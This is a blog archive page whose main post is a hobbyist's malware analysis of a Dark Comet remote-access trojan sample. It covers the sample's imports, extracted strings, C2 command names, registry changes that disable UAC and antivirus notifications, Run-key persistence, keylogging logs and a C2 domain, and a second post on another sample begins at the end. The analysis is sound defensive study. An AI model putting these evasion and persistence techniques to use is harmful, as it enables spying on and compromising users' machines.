Malware – Page 2

Dark Comet (Part I)

Posted on September 20, 2016 - September 6, 2016 by rhyolite

I went looking for new places to find malware and decided to check out DC hubs. Think of these places as sort of like Napster (for those of you who can remember Napster). I’ve heard of private hubs, and have been on a few myself, but those were generally both vetted and clean. I went looking through various public hubs for stuff that sounded shady.

Most of the stuff I found was just pirated software or movies, but there were a couple of users who I suspect might be the same person due to the naming style and content shared. On a few hubs I found users with some variation of “torrent” in their names (e.g., torrent_com, torrentino_net), etc. and their shares looked pretty odd:

dc1

This folder is basically 17gb of files all with extremely similar sizes (as you can see, typically only a few bytes different from one another). Running ClamAV against my newly acquired files, I found “a few” things:

dc2

Looks like the motherlode of malware here. What I thought was interesting was that the file names spanned all types of files and applications – you saw copies that were supposed to be installers for Adobe products, Windows, games, utilities, porn, music, everything. I’m guessing that this person put these out there hoping to catch people searching for particular things who wouldn’t necessarily check his file list (and I guess they were also hoping that someone wouldn’t notice anything amiss about a full copy of Adobe Lightroom that was only 574k).

Each username appeared to have a different set of malware – for example, in torrentino_net’s folder “НУЖННННННОООООООООООООООООООООООООО” (means needed or necessary, as adverb) was almost entirely Dark Comet, while the other user had different things (though it was mostly that Trojan.Inject-15717 you see in the screenshot above). I’m going to see what I can find in one of the Dark Comet samples.

Static Analysis

I usually start with the strings, but this is relatively a huge file compared with what I normally work with (roughly 10 times the size in bytes of stuff I’ve worked on so far) so I started with some tools first. PEiD, as well as some strings found in the file, indicate some crypto signatures, as well as the fact that the program was written in Delphi:

dc3

I wouldn’t really call these crypto signatures since what we seem to be looking at are functions used to check the integrity of the file. The ZLIB reference suggests that something is compressed in the file. Maybe this has a .PDF or something inside it that it uses for something.

PEview indicates that there’s a TLS table, so maybe this is for anti-debugging (to get code to execute before the debugger breaks the program). The number of data directories looks normal. This program has several sections, and all of them except one looks normal in terms of virtual / raw sizes:

dc4

Normally if I saw a section that had such a discrepancy between the raw and virtual size, I’d think that there was something packed there. In the case of .bss, this is a section that contains zero-valued bits initially (at the time of execution) and so only the length of the section, but no data, is stored in the header.

We also see there’s a whole lot of stuff in the .rsrc section:

dc5
Opening the malware in Resource Hacker, we see that it has a bunch of mouse pointers under “Cursor” in the .rsrc section. There is also a section called “String Table” with some interesting things in there. The very first table (4083:0) appears to contain strings related to a help function. 4085:0 contains many strings that make me think of a keylogger:

STRINGTABLE
LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL
{
65344, “Yes to &All”
65345, “BkSp”
65346, “Tab”
65347, “Esc”
65348, “Enter”
65349, “Space”
65350, “PgUp”
65351, “PgDn”
65352, “End”
65353, “Home”
65354, “Left”
65355, “Up”
65356, “Right”
65357, “Down”
65358, “Ins”
65359, “Del”
}

Keys such as “Left”, “End”, “Ins” and so on don’t have a visible character associated with them, so if you were logging keystrokes you would need some other way of recording these. I’ve seen samples that would check for whether or not these keys were pressed and would then insert these strings into the keylogging file so that the author can follow what’s being input.

As I go through these, it’s interesting to see that all of these strings are in English. The rest of the string tables are basically error messages of one type or another, but nothing too useful for our purposes. The last section is “Version Info” which contains:

dc33

Going back to PEview, the address table of the .idata section gives up LOTS of information, all in the clear. It imports:

advapi32.dll
avicap32.dll
comctl32.dll
gdi32.dll
gdiplus.dll
kernel32.dll
msacm32.dll
netapi32.dll
ntdll.dll
ole32.dll
oleaut32.dll
shell32.dll
shfolder.dll
urlmon.dll
user32.dll
version.dll
wininet.dll
winmm.dll
ws2_32.dll
wsock32.dll

Things I found interesting in these imports include:

Advapi32.dll: I see RegQueryValueExA, RegOpenKeyExA, and RegCloseKey. I wonder if this is used to do a system inventory or other reconnaissance of the host system. I also see RegSetValueExA, RegEnumValueA, RegDeleteValueA, RegCreateKeyA and RegCloseKey so I’m guessing there’s something done in the registry to either make the system more friendly towards the malware (such as disabling a firewall) or to achieve persistence. A very interesting import here is AdjustTokenPriveleges, which can be used to enable privileges for a process. I’m guessing that this is used in conjunction with the process injection/replacement functions (discussed later in this section) to gain additional permissions for the malware. I also see CreateServiceA, StartServiceA, and DeleteService, so the malware probably runs at a service and might also achieve persistence as a service.

Kernel32.dll: I see VirtualAlloc, CreateProcessA, CreateThread, CreateRemoteThread, ReadProcessMemory, ResumeThread, SetThreadContext, WriteProcessMemory, etc., all of which in conjunction with the call to NtUnmapViewOfSection makes me think that there is process replacement or injection going on in this sample. GetTickCount is there, which could be used for anti-debugging but also has legitimate uses such as being part of a random number generation function (as seen in prior analyses). I see FindFirstFileA and FindNextFileA which tells me that this thing probably looks for a particular file somewhere, maybe in %system%. WriteFile is here, which is always a good one to look for in terms of file system signatures. RaiseException is interesting – I wonder if this is used to do something confusing with the SEH to obfuscate execution. When I disassemble this, we should have a better idea of whether or not this is the case. WinExec is imported, which could be useful to look at in the disassembly to see what is being executed on the host. I see TerminateProcess, which makes me wonder if this sample spawns a new copy of itself and then terminates the original in order to make debugging more difficult. PeekNamedPipe is a cool one to see, this lets you look at the data in a pipe without modifying it, so perhaps this is used in some sort of C2 function (maybe a reverse shell?). CreatePipe is also imported, by the way. I see imports for GetVersion and GetVersionExA, so I’m thinking this is either part of a system inventory or the malware checks to see that it’s running on a compatible version of Windows (or both). GetWindowsDirectoryA shows that there’s probably something done in that directory, maybe this is where the malware installs itself or otherwise achieves some sort of persistence or stealth. I see GetDriveTypeA and GetDiskFreeSpaceExA, probably as further info for the system inventory. DeleteFileA is imported, and like with WriteFile, it will be interesting to see what this sample deletes (probably the original copy of the malware after it installs itself). CreateMutexA is imported, probably to help ensure that the malware doesn’t run multiple copies of itself on the same host or perhaps to share resources. I see CreateDirectoryA being imported, which is interesting because typically I don’t see malware create directories, usually just a single file somewhere already existing (such as the %system% directory, the malware’s working directory, or maybe a temp file directory). Finally – Beep is imported. Why?

Ntdll.dll: This is interesting to see because typically this is not called directly by legitimate programs (as far as I know) – programs typically call something in kernel32, which then calls something in ntdll.dll and so on. NtUnmapViewOfSection is imported as part of process replacement/injection. There is also an import for NtQuerySystemInformation which can have several uses that I’ll speculate on. One piece of info available from this function is the number of processors or information on running processes. There are also various ways to use this function to seed random numbers.

Ole32.dll: I see that CoCreateInstance is imported, which creates a COM object. During disassembly, I’ll look to see how this is used specifically.

Shell32.dll: I see ShellExecuteA and ShellExecuteExA imported, which again will be useful to look for to find additional things run by this malware. SHEmptyRecycleBinA is imported – this is interesting, because typically if a file is deleted from the command line, it doesn’t go into the recycle bin (I’ve never seen a sample that left anything in the recycle bin), so I wonder why this malware needs the function. I’m guessing this is to help hide its tracks, though.

Urlmon.dll: URLDownloadToFileA is imported, which is great, because this tells me to look for the malware reaching out to the author to obtain a new file of some sort.

User32.dll: GetKeyboardType is not one that I’ve seen before, but would make sense in the context of a keylogger. This function is pretty self explanatory, but note that it doesn’t necessarily give you the language of the keyboard but rather the type (e.g., IBM enhanced, Nokia 1050, etc.) of the keyboard. The exception would be that it could tell you if it was a Japanese keyboard. This function will also let you know the number of function keys on the keyboard. There are also many, many functions related to windows and graphics imported here (not to mention what’s imported with gdi32.dll). Not sure why you’d want your malware to do this.

Version.dll: I see GetFileVersionInfoA is imported – I wonder how this is used. Maybe to check the version of the malware so that an update can be performed?

Wininet.dll: InternetReadFile, InternetOpenUrlA, InternetConnectA, HttpQueryInfoA, FtpPutFileA… Great! Lots of stuff to look out for during dynamic analysis. Looks like it takes some sort of information from the host and sends it somewhere (probably the logged keystrokes, at a minimum).

Winmm.dll: PlaySoundA is imported. I wonder what this malware could possibly be doing playing sounds, as that seems like it would be a pretty conspicuous thing to do. Maybe this malware masquerades as a game or something?

Wsock32.dll: Lots of good stuff here. WSAStartup is imported, which is always nice to see in the disassembly because this will tell you where the networking functions are beginning (which also helps you find the points at which any obfuscation or encryption is going to be applied, either outgoing or incoming). I see socket, connect, send and recv which would be used to set up the client side of connectivity, but I also see bind, listen, and accept, which would allow this to function as the server side as well. I see gethostbyname, so I’m expecting to see a DNS request at some point.

Now to get to the strings. I think that most of the interesting material has already been covered using the earlier tools, but there are still some interesting strings that I found in the file (full list of meaningful strings can be found in the .pdf report of this analysis):

FastMM Borland Edition
2004, 2005 Pierre le Riche / Professional Software Development

Another indication of Delphi.

%s, ClassID: %s
%s, ProgID: “%s”
%s (%s)

Always interesting to see anything being constructed dynamically by the malware.

-.-.-.-
[::]
need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version
1.2.3
1.2.3

Maybe this uses version 1.2.3 of zlib?

80211_OPEN
80211_SHARED_KEY
WPA_PSK
WPA_NONE
RSNA
RSNA_PSK
IHV_START
IHV_END
NONE
WEP40
TKIP
CCMP
WEP104
WPA_USE_GROUP OR RSN_USE_GROUP

Maybe this has something to do with a system inventory?

\Internet Explorer\iexplore.exe
explorer.exe

This tells me that the malware does something with Internet Explorer (perhaps the process replacement/injection).

TThemeServices
Theme manager
2001, 2002 Mike Lischke

I guess this refers to another tool used in the creation of this malware.

1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
ShortCutText
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
Layout File
KbdLayerDescriptor

Something being done regarding the keyboard layout, I’m guessing as part of the system inventory or something to do with the keylogging.

IP :
IP Mask :
Broadcast adress :
Status : UP
Status : DOWN
Broadcasts : YES
Broadcasts : NO
Loopback interface
Network interface
Software
Microsoft
Windows
CurrentVersion
Policies
System
DisableTaskMgr
Software
Microsoft
Windows
CurrentVersion
Policies
System
DisableRegistryTools
Software
Microsoft
Windows
CurrentVersion
Policies
System
EnableLUA
Software
Microsoft
Security Center
AntiVirusDisableNotify
SYSTEM
CurrentControlSet
Services
SharedAccess
Parameters
FirewallPolicy
StandardProfile
EnableFirewall
SYSTEM
CurrentControlSet
Services
SharedAccess
Parameters
FirewallPolicy
StandardProfile
DisableNotifications
SYSTEM
CurrentControlSet
Services
wscsvc
Start
Software
Microsoft
Security Center
UpdatesDisableNotify
Software
Microsoft
Windows
CurrentVersion
Policies
Explorern
NoControlPanel
Software
Microsoft
Security Center
AntiVirusDisableNotify
SYSTEM
CurrentControlSet
Services
wscsvc
Start
Software
Microsoft
Security Center
UpdatesDisableNotify
Software
Microsoft
Windows
CurrentVersion
Policies
Explorern
NoControlPanel
drivers\etc\hosts
drivers\etc\hosts
I wasn’t able to open the hosts file, maybe because UAC is enabled in remote computer!
UNKNOW
STOPED
RUNNING
PAUSED
STARTED
STOPED_P
CONTINUE_P
PAUSED_P
Not Available
Removable
Fixed
Network
CD-ROM
RAM
WinDrive
Bytes
KiB
MiB
GiB
Local drive (default)
IsWow64Process
kernel32
HARDWARE\DESCRIPTION\System
SystemBiosDate
HARDWARE\DESCRIPTION\System
Identifier
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Identifier
HARDWARE\DESCRIPTION\System\CentralProcessor\0
VendorIdentifier
Unknow
Windows NT 4.0
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows 7
Windows 95
Windows 98
Windows Me
0x%.2x%.2x%.2x%.2x%.2x%.2x
memory allocation failed!
%.2x-%.2x-%.2x-%.2x-%.2x-%.2x
64 bit
32 bit

This looks to me like a whole lot of system inventory information. It also seems to indicate changes made by the malware to the host to report back to C2.

\uTorrent\
*.torrent

What’s that about?

Offline
Online
Invisible
Busy
Be Right Back
Idle
Away
On The Phone
Out to lunch
Offline
Online
Invisible
Busy
Be Right Back
Idle
Away
On The Phone
Out to lunch

These look like instant messenger statuses. Is this some sort of trojan that masquerades as an instant messenger client? That’s not really what I would expect from a file called Deadliest Catch…

SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\
HKCU\
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\
command
item
hkey
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\
location
HKLM
HKCU
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder

I always like to see specific references to the registry…

/k
cmd.exe
open
*.*

Looks like something is executed on the command line. The /K switch, though, runs a command and then returns to the command prompt. Not sure why you’d want to use this with malware.

Sockets
%d.%d.%d.%d
0.0.0.0
WSAStartup
WSACleanup
POST /index.php/1.0
Host:
BTRESULTHTTP Flood|Http Flood task finished!|
myappname
BTRESULTVisit URL|finished to visit
Times.
BTERRORVisit URL|An exception occured in the thread|
DATAFLUX
UntProcess
SYSERRNot a valid range set!
SYSERRCannot open remote process for reading..
SYSERRCannot create the output file!
SYSINFORemote process (
) successfully dump in
Normal
Hight
Real Time
> of the Normal
< of the Normal
Low
ACCESS DENIED (x64)
LanErr
SVW3
127.0.0.1
.255
LanList
LanErr
PortScanAdd
TScan
TScanRange
BTRESULTSyn Flood|Syn task finished!|
BTRESULTUDP Flood|UDP Flood task finished!|
FTPPORT
FTPPASS
FTPUSER
FTPHOST
FTPROOT
FTPUPLOADK
FTPSIZE
TReceiveFileThread
UPLOADFILE
FILEBOF
FILEEOF
FILEEND
FILEERR
TSendFileThreadU
FILETRANSFER
FILEBOF
FILEERR
FILEEOF
FILEEND
TReceiveDataFlux
UPFLUX
TScreenThumb
THUMB
TSendDataFluxThread
DATAFLUX
TSearchThreadU
TCaptureWebcam
CAMERA
#CAMEND
ENDSNAP
MONSIZE
DISPLAY
MONSIZE0x0x0x0
DEFAULT MONITOR (DISPLAY)
OK|Successfully started..|
ERR|Socket error..|
ERR|Cannot listen to port, try another one..|
SOCKS5STATUS
TConnectionHandler
TMain
TSoundCapture
SOUND
EndReceive
TQuickTransfer
UPLOADEXEC
open
BATCH
UPDATE
UPANDEXEC
HOSTS
drivers\etc\hosts
SOUND
EDITSVR
GENCODE
PASSWORD
DCSC_GRABPWDS
CHAT
DCSC_INITCHAT
DCSC_POSTDATA
DCSC_CHATNUDGE
DCSC_DESTROYCHAT
DCSC_CHATRELOAD
PLUGIN
QUICKUP
FILEEND
TAsyncTask
out.txt
tmp.txt
Mozilla
BTRESULTMass Download|Downloading File…|
DownloadSuccess
DownloadFail
BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir…|
BTERRORDownload File| Error on downloading file check if you type the correct url…|
ping 127.0.0.1 -n 4 > NUL && ”
GetTorrent

Always great to see this sort of stuff that will help give indications of what networking activity is supposed to happen. Also note the mention of the flood tasks. Maybe this has some sort of botnet-like feature where C2 can use infected hosts to DDoS a target. It also appears to have a scan function. Some of these strings may even be commands that the malware uses to execute instructions from C2. I wonder what those .txt files are. Also – this thing gets torrents?

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ/*-+.=

Looks like a slightly nonstandard base64 index. Notice the special characters after Z which here are /*-+.= while in a regular string it would be just +/. This also makes it longer than a regular base64 index. Also, the numerals come in the beginning of this string while in a standard index they would come after the alphebetic characters. In this index, the lowercase letters also come before the upper case, which would be reversed in a standard base64 index.

.log
dclogs\
::
:: Clipboard Change : size =
Bytes (
\newl\
\space\
ONLINESTROKES\newl\::
ONLINESTROKES
[ESC]
[<-]
[NUM_LOCK]
[F1]
[F2]
[F3]
[F4]
[F5]
[F6]
[F7]
[F8]
[DEL]
[INS]
[SNAPSHOT]
[LEFT]
[RIGHT]
[DOWN]
[UP]
CTRLA
CTRLV
CTRLC
CTRLX
CTRLP
CTRLZ
CTRLY
CTRLF
dclogs\

This all looks like strings related to the keylogging function that I’m presuming is part of this malware. This also helps in that it appears we’re looking for files with a .log extension in a dclogs folder.

taskmgr.exe
notepad.exe

I see this string out in the middle of nowhere, so to speak. Maybe this also has something to do with the process replacement, etc.

TScreenCapture

Maybe this malware takes screenshots, too.

systeminfo
SYSINFO
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit
UserInit
Software\Microsoft\Windows NT\CurrentVersion\Winlogon

This gives me some ideas of what changes may be made to the registry by the malware, and also some idea of how persistence may be accomplished.

127.0.0.1:1604
#KCMDDC51#-
Unknow
5.3.0

Not really sure what these threads are for, but it looks like something might be started locally on 1604. Maybe this is the port that C2 will use for a remote shell or other networking.

DelDir
rmdir ”
” /s /q
attrib ”
” +s +h

Covering its tracks?

NETDRV
REFRESHPROC
PROCESS
REFRESHMODS
MODULES
KillProcess
SuccesProc
KILLPID
KillSProcess

Maybe this allows C2 to kill processes locally.

ActiveOnlineKeylogger
UnActiveOnlineKeylogger
GETLOGSHISTORY
KeylogOn
dclogs\
ActiveOfflineKeylogger
UnActiveOfflineKeylogger
ActiveOnlineKeyStrokes
UnActiveOnlineKeyStrokes

More indications of keylogging functionality.

OpenCD
CloseCD
Set cdaudio door closed wait

Seems like odd functionality for typical malware.

Indications that there is a bot functionality to this malware as well.

GETDRIVEINFO
DELETELOG
REFRESHLOGS
PREVIEWF
ADDSOCKS5
SOCKS5FLUSH
SOCKS5CLOSE
DUMP
DOWNLOADFILE
DOWNLOADFOLDER
DWNFOLDERRES
UPFLUX
UPLOADFILE
SEARCHFILES
STOPSEARCH
ACTIVEREMOTESHELL
DOSCAP
SUBMREMOTESHELL
KILLREMOTESHELL
DESKTOPCAPTURE
DESKTOPSTOP
WEBCAMLIVE
WEBCAMSTOP
DESKTHMB
REFRESHWIFI
WIFI
SOUNDCAPTURE
SOUNDSTOP
QUICKUP
PLUGIN
PASSWORD
CHAT
CHATOUT
CHATNUDGE
CLOSECHAT
FTPFILEUPLOAD
URLDOWNLOADTOFILE
PWD
OFFLINEK

Some of these are pretty creepy, referring to things like webcam, soundcapture, etc. Perhaps more commands that the malware parses from C2 somehow to turn functionality on or off.

PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING

Uh, OK.

Some final notes before getting into the dynamic analysis. I notice a .reloc section, which is interesting because I usually don’t see these in samples (and especially not in .exes, typically in .dlls). One sandbox reported seeing French language PE resources, the rest being either neutral or US English.

Dynamic Analysis

For this part, I ran the malware three different times: 1) as a regular user; 2) as administrator; 3) as a regular user with Fakenet. I’m going to look at the regular user run first.

Running the malware from the command prompt, nothing appears to happen. One funny thing is that the working directory for the malware “disappears”, as does the executable. The files are still there, it’s just that they’ve been hidden. Sort of stupid, actually, because you’d think that any user running this would notice that their directory is “gone”, especially if you ran it from somewhere like your Downloads directory. Maybe I’m wrong, but it just seems a bit overkill.

I also noticed this pretty much immediately:

dc6

msdcsc.exe is not something that I recognize, but I do recall seeing notepad.exe in the strings from the malware, so both of these together appear suspicious to me. Msdcsc.exe appears to have the same strings as the original malware executable glancing through it. This file resides in the Documents directory in a folder called MSDCSC, and again both this directory and the msdcsc.exe file are both hidden. The MD5 value of both files confirms that they are the same.

Regshot revealed some changes:

Key added:
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System

Values added:
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicroUpdate: “C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\DisableRegistryTools: 0x00000001
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\EnableLUA: 0x00000000

I see some files added also:
c:\Users\Linux Derp\AppData\Roaming\dclogs\2016-08-31-4.dc
c:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe
c:\Windows\ServiceProfiles\LocalService\AppData\Roaming\PeerNetworking\39781e30c2068da8ca1d5675055b8c116729b03c.HomeGroupClassifier\a155957c683b979ad24b1ae52041d2d2\grouping\tmp.edb
c:\Windows\System32\Microsoft\Protect\S-1-5-19\13356aac-165b-496d-8fb0-21b47bc91dbd

That one file in the beginning is VERY interesting. This path and file name lines up with some strings we saw earlier. This directory is not hidden, actually, so I guess the author figured that the user wouldn’t venture into this directory. The file 2016-08-31-4.dc isn’t hidden, either. The contents clearly show that keystrokes are being captured, along with times, the applications/windows used for input, and clipboard changes:

dc7

Some of the exact strings highlighted earlier as indications of a keylogger can be seen in the capture above. I tried typing a bunch of things into the cmd.exe window, but noticed that the log file was not updated. After some testing, it appears that data is written to the log file when I open a new program (in my test, I opened a bunch of new cmd.exe sessions). Testing this some more, it appears that keylogging data is saved in a buffer and then written to the log when there is data being typed into a new window. For example, simply opening a program from the start menu did not trigger writing to the log. Opening a program by typing the name into the start menu triggered writing to the log. Opening Internet Explorer via the start menu did not trigger logging, however typing an address into the window DID trigger writing to the log. Typing input into Internet Explorer without hitting enter triggered writing to the log immediately, however typing multiple commands in a row into a cmd.exe window did not trigger logging on its own. Probably not important, but sort of interesting to see different ways to get this program to take actions.

Looking in Process Monitor, first I’m starting with the original malware process. Several pages in, after loading several libraries and enumerating many entries in the Registry, I see a odd operation, a call to CreateFileA for C:\MA\lab\JBDyF4FCmWXH.dcp (which is not found). Much later on, we see the malware try to call CreateFileA for the path C:\Users\Linux Derp\Documents\MSDCSC\JBDyF4FCmWXH\msdcsc.exe, which is again not found. Another call is made, this time to C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe which is ultimately where we see the file being copied to and hidden.

Shortly after, at this point we seem to see that the malware starts the process of copying itself into the new directory that we found:

dc8

Then the writing of the file to the new location:

dc9

After this, we see the malware trying to make some changes to the registry, some of which are successful, one that is not:

dc10

The value that was successfully set to the MicroUpdate key is the full path of the new copy of the malware. I think what we’ve observed here was the malware checking to see if it was already installed, and not finding a copy of itself, it installed itself.

We see some more registry changes:

dc11

We see how the malware uses the /k switch for cmd.exe, when it hides the working directory of the original malware file:

dc12

Going through the rest of the results, there are thousands of keys/values enumerated by the original malware process, but at the end you don’t see any new processes being created, but looking in Process Monitor for processes whose parent was the original malware process (PID 944), we see some interesting things. First we see that there were two cmd.exe processes created, PIDs 2636 and 1860, which hid the original malware file and its working directory. Later, we see the first of the new malware processes created (PID 560) which is started via the command line:

dc13

msdcsc.exe again looks for the JBDyF4FCmWXH.dcp file, as the original process did. A bit later, some strange behavior as the new malware process starts trying to make many modifications to the registry:

dc14

One interesting change is that the malware sets the EnableLUA value to 0, so that Windows will not notify the user when programs try to make changes to the computer:

dc15

We also see that it tries to set AntiVirusDisableNotify to 1 (true):

dc16

I’m noticing that some of these operations are unsuccessful as we’ve been going through here. I’ll be curious to see what happens in the run of this malware where I was in admin mode.

Later, I see the creation of the other malware-associated process, the notepad.exe process (PID 2404):

dc17

We see the malware process (560) again set values in the registry, like the original process, apparently around persistence:

dc18

Autoruns confirms this:

Later on in the results, I see this operation being repeated many times, all successfully. I’m not sure why the malware does this. Maybe this is some sort of error.

The new malware process (560) then sets up the location for the keylogging file:

dc20

Here is the first write to the logging file:

dc21

Looking at the final malware process, the notepad.exe process created (PID 2404), shows it was started from the command line by the 2^nd process (560). I’m not really seeing this process do that much, on the face of it. Its strings in memory match what should be there for a legitimate notepad.exe process. There’s also no visible window, when I tried to access that via Process Explorer. This notepad process, however, does have a mutant, which my other legitimate notepad.exe process does not:

dc22

That mutant name matches one of the strings found in the malware exactly. The malware process also has some handles to places in the registry (under HKLM) having to do with locales that my legitimate notepad.exe process doesn’t have.

Looking at the 2^nd process (560) in process explorer, one very weird thing is that there appear to be hundreds (maybe thousands) of handles to \Device\Afd (auxiliary function driver). We also see a few other things:

dc23

There’s a handle to a token, and also a handle to a couple of threads within the new notepad.exe process. I’m guessing that the malware injected something into notepad.exe based on this and also on how we found all of those function imports earlier that were associated with process injection/replacement. There’s also a mutant DC_MUTEX-K5DAH26. I’m not seeing this string in what I found earlier, though I do see DCMUTEX. One other little note from the Process Explorer review is that the malware’s description of msdcsc.exe is “Remote Service Application” which is something we found during the static analysis.

I happen to notice there are two iexplore.exe processes running (PIDs 2968 and 356). Sort of strange, because I did start Internet Explorer from the start menu, however, I only ran a single copy. The first process seems legitimate (2968). When I try to bring the second process to the front using Process Explorer, I’m informed that there is no visible window for the process. Some of the interesting stuff in the GMER output includes GetKeyState, CallNextHookEx, SetWindowsHookExW, GetAsyncKeyState, UnhookWindowsHookEx and others. These are things I’d associate with keyloggers, especially GetAsyncKeyState and GetKeyState. We saw that iexplore.exe was a string within the malware:

dc24

Looking at the network traffic, I see that the malware tried to resolve a domain, max19916.hopto.org:

dc25

For some reason the address didn’t resolve, and no traffic was observed. Max19916.hopto.org appears to be up, though…

Looking in the run I made as administrator, I noticed some differences in the results from Regshot. For example, in the run as a regular user, we saw these keys added:

HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\DC3_FEXEC

In the admin mode run, we see:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\DC3_FEXEC

Running as admin, we see some other interesting changes that we didn’t see running as a regular user:

———————————-
Values added: 45
———————————-
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”

The changes already mentioned in the user mode run were also observed, these are just the additional successful changes made to the registry. Otherwise, the behavior appears to be more or less the same, at least what I can see from this perspective.

I decided to dump the memory from the user run and see what, if anything, turned up in there. I used Moonsols to dump the memory, and then I ran some Volatility plugins on the results just to see what I could find. I’m not the strongest Volatility user, by any means, though I’m working on it. Using this tool on this sample is a good opportunity for me, so please bear with me if this is very basic to you.

There is a Volatility plugin called psxview which can be used to find processes using several different methods. The book The Art of Memory Forensics has a great description of processes and their structures in the sixth chapter of the book. There are several methods for finding processes listed here, and the psxview plugin incorporates all of the ones listed in the book into a single plugin. What’s nice is that, as you can see in the screenshot below, the plugin gives you a table showing each process with its offset and PID and then whether or not it would have been found using a certain method (for example, in the example below, the cmd.exe process, PID 1688, would have been found using any method).

dc26

ExitTime would show when a process was terminated but for some reason still is showing up in the process list. This could happen if another process has an open handle to a terminated process.

Going through the list reveals nothing out of the ordinary. There’s something weird at the end, though:

dc27

This is the end of the listing, and what it looks like is there is a running process (PID 504) that was unrevealed by all methods except for thrdproc (thread scanning). Each process must have at least one active thread. This method scans for thread objects and then maps them back to an owning process. Like I said before, I’m a fairly new user with Volatility, so maybe this is some idiosyncratic thing that I just am not familiar with, but it appears to be a very well hidden process that I’m assuming is associated with the malware. The point of the Process Crossview plugin (psxview) is that rootkits are unlikely to have hidden themselves from the active process linked list and then ALL of these other methods – however it looks like this one almost did that.

I was unable to dump this process with the procdump plugin (it told me that it couldn’t find a process with PID 504 and advised me to try with an offset, which also did not work). Psscan does not reveal this mysterious process 504. I tried memdump, using an offset and the PID, but nothing.

Running the privs plugin revealed some info about what privileges are available to the malware process msdcsc.exe (PID 560), and others such as the injected/replaced iexplore.exe process, but nothing appeared to be out of the ordinary.

The mutantscan plugin revealed the two malware mutexes that we know about, but nothing really new here. Grepping the mutantscan results didn’t reveal anything near the offset of process 504.

dc28

Grepping the results of the thrdscan plugin does show a bit more detail about this thread:

dc29

It’s definitely still open…running the threads plugin doesn’t reveal anything, though. I decided to try dumping the memory from my admin run and seeing if psxview revealed something similar, and what I got was pretty weird:

dc30

In another run of the malware in user mode, I wasn’t able to replicate the original run’s mysterious nameless process. I’ll still keep this in the back of my mind, but I think it might have just been some weird artifact from either the VM or Moonsols.

On another note, I ran the malfind plugin and had it dump whatever was injected into the two iexplore.exe processes (PIDs 2968 and 4036) and the notepad.exe process (PID 2404), so when I get to disassembly I’ll be able to see what the malware put in there.

At this point I’m wrapping up the dynamic and static analysis, and am going to move into the disassembly. Maybe in the future when I’m better with Volatility I’ll try some new things, but for now I think I’ve exhausted all avenues on this one.

Disassembly and Debugging

Ugh:

No, it’s not a Super Star Destroyer – it’s a graph of all the function calls in this thing.

Zoomed in 110%:

dc32

References:
https://en.wikipedia.org/wiki/.bss

Hashes:
MD5:be1fa25529308e909381777bcd7f0e92a
SHA1:9a3c2eefb12d527d2d7377a8c6f96854baf566c9
SHA256:d673493ef6288338bace20a165b32b7fb897400e943c7b313a0cef3d1cba22dd
ssdeep:12288:C9HMeUmcufrvA3kb445UEJ2jsWiD4EvFuu4cNgZhCiZKD/XdyF5:uiBIGkbxqEcjsWiDxguehC2SE

CANDID

Posted on September 13, 2016 - August 16, 2016 by rhyolite

I had a file come through GRAB-NYC. I ran it through Virustotal, 48/56 detected something. Time to take a closer look.

Static Analysis

Virustotal said that the file was packed with Armadillo 1.71, but I’m not seeing any packing. PEiD says it’s unpacked, and the strings look like what I’d expect to see for an unpacked file (i.e., many useful plaintext strings as opposed to the garbage one normally sees in a packed file and/or peculiar section names like .upx1 or .petite that indicate a packer). Looking in PEview, the headers for the .text and .data sections look fine (in that the raw and virtual sizes are very close in size to one another) however there’s something off for the .data section:

candid1

This indicates that there is a much larger space in memory for the .data section than there is for the .data section on disk, which leads me to think that it might actually be packed. This .data section does give up many plaintext strings, though, so it’s a bit confusing to me right now. I’ll come back to this later on in the analysis – I might observe something being unpacked during dynamic analysis, for example.

